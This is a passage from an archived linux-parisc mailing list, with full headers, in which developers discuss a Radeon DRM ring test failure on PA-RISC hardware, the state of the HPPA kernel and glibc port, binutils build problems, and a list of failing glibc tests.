>>>> =9AOn Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov <gnidorah@p0n4ik.t=
k> wrote:
>>>>> =9A=9AThank you so much! Your guess looks to be right. After appl=
ying of your
>>>>> =9A=9Apatch there was no more KP and X just worked.
>>>> =9ANice! Does DRI work?
>>> =9ANot on my side. Plus i can't visually jump over 8bit depth, alth=
ough Xorg
>>> =9Astates 24bit in it's log.
>>> =9AAs for DRI, i'm experiencing
>>> =9A"ring test failed (scratch(0x15E4)=3D0xCAFEDEAD)" with a firegl =
x3.
>> =9AFWIW, I'm seeing the same failure on my FireGL X1:
>> =9A80:00.0 VGA compatible controller: Advanced Micro Devices [AMD] n=
ee ATI Radeon R300 NG [FireGL X1] (rev 80)
>>
>> =9A[drm] radeon: irq initialized.
>> =9A[drm] Loading R300 Microcode
>> =9A[drm] radeon: ring at 0x0000000060001000
>> =9A[drm:r100_ring_test] *ERROR* radeon: ring test failed (scratch(0x=
15E4)=3D0xCAFEDEAD)
>> =9A[drm:r100_cp_init] *ERROR* radeon: cp isn't working (-22).
>> =9Aradeon 0000:80:00.0: failed initializing CP (-22).
>> =9Aradeon 0000:80:00.0: Disabling GPU acceleration
>> =9A[drm:r100_cp_fini] *ERROR* Wait for CP idle timeout, shutting dow=
n CP.
>> =9A[drm] radeon: cp finalized
>> =9A[drm] radeon: cp finalized

I still have no clue why this happens. Broken SBA IOMMU / DRM code? Mis=
sing syncing primitives?
Should we forward this to dri-devel mail list?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Sun, 4 Aug 2013 08:21:04 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <CAE2sS1j6z+PJbRW5gS+B4C-WKhPZCXPwOs8np07qsPM1fxAe2w@mail.gmail.com>
References: <20130803204119.GA2392@halden.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1375618878 26868 80.91.229.3 (4 Aug 2013 12:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 12:21:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 14:21:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V5xJC-0003aL-DM
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 14:21:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751852Ab3HDMVM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 08:21:12 -0400
Original-Received: from mail-oa0-f46.google.com ([209.85.219.46]:44537 "EHLO
	mail-oa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751758Ab3HDMVF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 08:21:05 -0400
Original-Received: by mail-oa0-f46.google.com with SMTP id l10so4301835oag.5
        for <linux-parisc@vger.kernel.org>; Sun, 04 Aug 2013 05:21:05 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=EtWCFmiEs2Fra3aWndEJ3dV/MHV8a0jOiwAuJZPNXDE=;
        b=iCFcGbPrNz0B52Rj8oQPfePuwWJqe388AKCmKN3VBL+apWhayqzyFsAcRv/sl0PS3u
         BI548eniy/Xd1u/vDil/uDcOnB887EoeI0X5ZxJ3N4amogPh5ui4kQbHrkibUcFXoG/7
         sjf5oIS1bgC0r+RlBsR12aoyeFoc+wEJh6Hw54aGJ0a6I5jbsB8PprgGuM+RQma2xlOY
         otCY8UWXuXon39UmHW5QQ3+iUgt8kecKX7RD8MzNuP6RxawztqmMnYBMdjpGhm9ZSRp1
         fEs29fWOLPLtS16vAUKtw6h1u5taEXWADjM+zH2eefJi4GSvD8FAgEycQG6tZGJG7WV5
         Km/w==
X-Received: by 10.60.150.241 with SMTP id ul17mr11145940oeb.69.1375618865002;
 Sun, 04 Aug 2013 05:21:05 -0700 (PDT)
Original-Received: by 10.76.155.163 with HTTP; Sun, 4 Aug 2013 05:21:04 -0700 (PDT)
X-Originating-IP: [76.65.36.251]
In-Reply-To: <20130803204119.GA2392@halden.box>
X-Gm-Message-State: ALoCoQm548B+bRTcauz4eEoVNYqZzLfHbcW5OoR9p8oHlwKPZTH/iQz7Z9mj9LD8c90Q1Kk7uvSy
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5248 gmane.linux.debian.ports.hppa:6953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5248>

On Sat, Aug 3, 2013 at 4:41 PM, Helge Deller <deller@gmx.de> wrote:
> So, what's the status of the Linux kernel for parisc?
>
> Basically, I think all major outstanding kernel patches are now in the upcoming
> kernel 3.11 tree, and the important ones will show up in the stable kernel 3.10
> series soon as well. Kernel 3.9 should be OK as well, but some patches might be
> missing.
>
> With kernel 3.11 (and 3.10.5 or higher) I expect most instability issues from
> the past to be gone.  There might still be minor issues with userspace
> segfaults (due to cache issues), but they are rare....

Thanks for all the work Helge!

On the glibc front I don't have as good news. We shipped 2.18 without
all of the hppa patches, but keep a patchset up to date, and I'm
merging in some changes from Dave.

The glibc testsuite results are really bad, but hopefully I'll poke at
those over the coming year.

I'm using gentoo, and taking patches form the gentoo people and
feeding those upstream as they are reported (I still have a few to go
through).

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Sun, 04 Aug 2013 15:06:45 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <2023332.MIaTqJBISH@donald.sf-tec.de>
References: <20130803204119.GA2392@halden.box> <CAE2sS1j6z+PJbRW5gS+B4C-WKhPZCXPwOs8np07qsPM1fxAe2w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2003193.vp3WOVt7vX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1375621621 18475 80.91.229.3 (4 Aug 2013 13:07:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 13:07:01 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 15:07:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V5y1V-0006Cx-PY
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 15:07:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752387Ab3HDNHB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 09:07:01 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:47374 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752360Ab3HDNHA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 09:07:00 -0400
Original-Received: (qmail 13485 invoked from network); 4 Aug 2013 13:06:57 -0000
Original-Received: from p54830d3d.dip0.t-ipconnect.de ([::ffff:84.131.13.61]:56339 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sun, 04 Aug 2013 15:06:57 +0200
User-Agent: KMail/4.10.5 (Linux/3.9.8-1.gf3348a8-desktop; KDE/4.10.5; i686; ; )
In-Reply-To: <CAE2sS1j6z+PJbRW5gS+B4C-WKhPZCXPwOs8np07qsPM1fxAe2w@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5249 gmane.linux.debian.ports.hppa:6954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5249>


--nextPart2003193.vp3WOVt7vX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Carlos O'Donell wrote:
> On Sat, Aug 3, 2013 at 4:41 PM, Helge Deller <deller@gmx.de> wrote:
> > So, what's the status of the Linux kernel for parisc?
> > 
> > Basically, I think all major outstanding kernel patches are now in the
> > upcoming kernel 3.11 tree, and the important ones will show up in the
> > stable kernel 3.10 series soon as well. Kernel 3.9 should be OK as well,
> > but some patches might be missing.
> > 
> > With kernel 3.11 (and 3.10.5 or higher) I expect most instability issues
> > from the past to be gone.  There might still be minor issues with
> > userspace segfaults (due to cache issues), but they are rare....
> 
> Thanks for all the work Helge!
> 
> On the glibc front I don't have as good news. We shipped 2.18 without
> all of the hppa patches, but keep a patchset up to date, and I'm
> merging in some changes from Dave.
> 
> The glibc testsuite results are really bad, but hopefully I'll poke at
> those over the coming year.
> 
> I'm using gentoo, and taking patches form the gentoo people and
> feeding those upstream as they are reported (I still have a few to go
> through).

Thanks to all of you working on that.

I currently do not have problems with glibc, at least I don't see any (Gentoo, 
using their 2.14 version). What I see are problems in binutils, although 
AFAICT those are not really HPPA-specific. One easy test is to build a recent 
version of CMake: if you specify no compiler flags bootstrapping will work, as 
I inserted -Wl,--unique=.text.* into the LDFLAGS there. But if you pass -O2 if 
will not build (binutils 2.23.[12]). If you remove the linker flag it will not 
work without -O2. I can't build newer kernels for my C8000 with frame pointers 
as it will crash ld with a NULL deref somewhere, older kernels work (probably 
smaller).

But otherwise my machine became pretty stable in the last time, that is really 
good ;)

Greetings,

Eike
--nextPart2003193.vp3WOVt7vX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlH+UewACgkQXKSJPmm5/E7bxwCcCBGONrt1MHSXKR8AYg3fbeIv
m9QAn2wnDkG7oNAdvPmaPPMeItQI/hj6
=VgYA
-----END PGP SIGNATURE-----

--nextPart2003193.vp3WOVt7vX--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Sun, 4 Aug 2013 10:57:36 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <BLU0-SMTP72B82A70E34DE847073F0597530@phx.gbl>
References: <20130803204119.GA2392@halden.box> <CAE2sS1j6z+PJbRW5gS+B4C-WKhPZCXPwOs8np07qsPM1fxAe2w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-9-36581839"
X-Trace: ger.gmane.org 1375628277 15262 80.91.229.3 (4 Aug 2013 14:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 14:57:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 16:57:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V5zkq-000700-8M
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 16:57:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753140Ab3HDO5z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 10:57:55 -0400
Original-Received: from blu0-omc4-s24.blu0.hotmail.com ([65.55.111.163]:27498 "EHLO
	blu0-omc4-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753056Ab3HDO5z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 10:57:55 -0400
Original-Received: from BLU0-SMTP72 ([65.55.111.135]) by blu0-omc4-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Aug 2013 07:57:54 -0700
X-EIP: [YMwG7XtPJxaKlo/u8QtYOX/KVUETrmq+]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP72.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Aug 2013 07:57:53 -0700
In-Reply-To: <CAE2sS1j6z+PJbRW5gS+B4C-WKhPZCXPwOs8np07qsPM1fxAe2w@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Aug 2013 14:57:53.0376 (UTC) FILETIME=[FF050E00:01CE9122]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5250 gmane.linux.debian.ports.hppa:6955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5250>

--Apple-Mail-9-36581839
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 4-Aug-13, at 8:21 AM, Carlos O'Donell wrote:

> The glibc testsuite results are really bad, but hopefully I'll poke at
> those over the coming year.

Attached results from last Debian 2.17 build.

Have kernel patch installed that fixed tst-mqueue2.  However, I think  
there are
still issues with writev syscall.

We might knock out quite a few if we found the cause of cancel test  
failures.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-9-36581839
Content-Disposition: attachment;
	filename="test-results-hppa-linux-gnu-libc.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="test-results-hppa-linux-gnu-libc.txt"
Content-Transfer-Encoding: 7bit

#
# Testsuite failures, someone should be working towards
# fixing these! They are listed here for the purpose of
# regression testing during builds.
# Format: <Failed test>, Error <Make error code> [(ignored)]
#
annexc.out, Error 1 (ignored)
check-execstack.out, Error 1
check-localplt.out, Error 1
check-textrel.out, Error 1
run-conformtest.out, Error 1 (ignored)
test-double.out, Error 1
test-float.out, Error 1
test-idouble.out, Error 1
test-ifloat.out, Error 1
tst-addr1.out, Error 1
tst-attr3.out, Error 1
tst-audit2.out, Error 139
tst-backtrace2.out, Error 1
tst-backtrace3.out, Error 1
tst-backtrace4.out, Error 1
tst-backtrace5.out, Error 1
tst-backtrace6.out, Error 1
tst-cancel22.out, Error 1
tst-cancel23.out, Error 1
tst-cancel4.out, Error 1
tst-cancel5.out, Error 1
tst-cancelx20.out, Error 1
tst-cancelx21.out, Error 1
tst-cancelx4.out, Error 1
tst-cancelx5.out, Error 1
tst-cleanupx4.out, Error 1
tst-cond25.out, Error 1
tst-cpuclock2.out, Error 1
tst-getcpu.out, Error 1
tst-makecontext.out, Error 255
tst-mqueue8x.out, Error 1
tst-trim1.out, Error 1

--Apple-Mail-9-36581839--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Sun, 4 Aug 2013 11:44:04 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <BLU0-SMTP82333D1594F12973C8706697530@phx.gbl>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com> <518401373491752@web17h.yandex.ru> <51DF0B90.3040506@gmx.de> <51DF0BEF.6020304@gmx.de> <995101375614033@web11d.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375631066 8626 80.91.229.3 (4 Aug 2013 15:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 15:44:26 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 17:44:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V60Tn-00077t-K3
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 17:44:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753418Ab3HDPoX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 11:44:23 -0400
Original-Received: from blu0-omc4-s24.blu0.hotmail.com ([65.55.111.163]:12622 "EHLO
	blu0-omc4-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753293Ab3HDPoW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 11:44:22 -0400
Original-Received: from BLU0-SMTP82 ([65.55.111.136]) by blu0-omc4-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Aug 2013 08:44:22 -0700
X-EIP: [P9ve9oZpv7dAAjn4lhDvABPv1NHny2Bt]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP82.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Aug 2013 08:44:21 -0700
In-Reply-To: <995101375614033@web11d.yandex.ru>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Aug 2013 15:44:21.0579 (UTC) FILETIME=[7CEB11B0:01CE9129]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5251>

On 4-Aug-13, at 7:00 AM, Alex Ivanov wrote:

> 11.07.2013, 23:48, "Helge Deller" <deller@gmx.de>:
>> adding linux parisc mailing list...:
>>
>> On 07/11/2013 09:46 PM, Helge Deller wrote:
>>
>>>  On 07/10/2013 11:29 PM, Alex Ivanov wrote:
>>>>  11.07.2013, 01:14, "Matt Turner" <mattst88@gmail.com>:
>>>>>  On Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov  
>>>>> <gnidorah@p0n4ik.tk> wrote:
>>>>>>   Thank you so much! Your guess looks to be right. After  
>>>>>> applying of your
>>>>>>   patch there was no more KP and X just worked.
>>>>>  Nice! Does DRI work?
>>>>  Not on my side. Plus i can't visually jump over 8bit depth,  
>>>> although Xorg
>>>>  states 24bit in it's log.
>>>>  As for DRI, i'm experiencing
>>>>  "ring test failed (scratch(0x15E4)=0xCAFEDEAD)" with a firegl x3.
>>>  FWIW, I'm seeing the same failure on my FireGL X1:
>>>  80:00.0 VGA compatible controller: Advanced Micro Devices [AMD]  
>>> nee ATI Radeon R300 NG [FireGL X1] (rev 80)
>>>
>>>  [drm] radeon: irq initialized.
>>>  [drm] Loading R300 Microcode
>>>  [drm] radeon: ring at 0x0000000060001000
>>>  [drm:r100_ring_test] *ERROR* radeon: ring test failed  
>>> (scratch(0x15E4)=0xCAFEDEAD)
>>>  [drm:r100_cp_init] *ERROR* radeon: cp isn't working (-22).
>>>  radeon 0000:80:00.0: failed initializing CP (-22).
>>>  radeon 0000:80:00.0: Disabling GPU acceleration
>>>  [drm:r100_cp_fini] *ERROR* Wait for CP idle timeout, shutting  
>>> down CP.
>>>  [drm] radeon: cp finalized
>>>  [drm] radeon: cp finalized
>
> I still have no clue why this happens. Broken SBA IOMMU / DRM code?  
> Missing syncing primitives?

I wonder if there is a endian issue in the microcode load.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Sun, 4 Aug 2013 09:28:33 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <CAEdQ38EBZV5EB_hxrwd_AQQwStoOjibE8g1xgNHk_S0ooUN4Pg@mail.gmail.com>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
 <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org>
 <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org>
 <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl>
 <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com>
 <518401373491752@web17h.yandex.ru> <51DF0B90.3040506@gmx.de>
 <51DF0BEF.6020304@gmx.de> <995101375614033@web11d.yandex.ru> <BLU0-SMTP82333D1594F12973C8706697530@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1375633742 2761 80.91.229.3 (4 Aug 2013 16:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 16:29:02 +0000 (UTC)
Cc: Alex Ivanov <gnidorah@p0n4ik.tk>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 18:29:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V61Au-0003IC-Ln
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 18:28:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753727Ab3HDQ24 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 12:28:56 -0400
Original-Received: from mail-qa0-f51.google.com ([209.85.216.51]:36416 "EHLO
	mail-qa0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753718Ab3HDQ2z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 12:28:55 -0400
Original-Received: by mail-qa0-f51.google.com with SMTP id f11so551558qae.10
        for <linux-parisc@vger.kernel.org>; Sun, 04 Aug 2013 09:28:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=X6blcH6NZsbpQHsIP3X/eRbj7ix41K0klGnzrh2uZbw=;
        b=b5G299vG2lVCGGYeFY3h69dasHPcDFrrPwj9whX77LOvrFsoEu4LOL37/5nF1SXO5m
         rZHT7ikOMaB4mtpDGCappaQuZZeFOSKJqAW/RmaPTI5IK2TiQSBfODv6TiHWXAgOZIvp
         WJBlVN8q14Iy3kQ87OyZRfe3PBc1gvUhIF2PTm8EChALJav565UI6qEVOdm7cZy8fD/1
         UVggA35YCbZ56FRQ/1YCT1k030zI6JP7hqnmo9PTg3YHSuFrIjLXWh/hbhyqZa9PB0SL
         whiaWZNdEboa90AoawJjoXtBvTVTlDLvkq50quB336AtRwpDCwVKDIbL5C3KvF0opRyw
         nsmQ==
X-Received: by 10.224.138.8 with SMTP id y8mr24372121qat.27.1375633734911;
 Sun, 04 Aug 2013 09:28:54 -0700 (PDT)
Original-Received: by 10.49.108.5 with HTTP; Sun, 4 Aug 2013 09:28:33 -0700 (PDT)
In-Reply-To: <BLU0-SMTP82333D1594F12973C8706697530@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5252>

On Sun, Aug 4, 2013 at 8:44 AM, John David Anglin <dave.anglin@bell.net> wrote:
> I wonder if there is a endian issue in the microcode load.

It should work on PowerPC (big-endian).
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: PCI & AGP video options
Date: Thu, 08 Aug 2013 15:32:54 +0400
Lines: 16
Approved: news@gmane.org
Message-ID: <199671375961574@web3d.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375961586 21158 80.91.229.3 (8 Aug 2013 11:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 8 Aug 2013 11:33:06 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 08 13:33:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
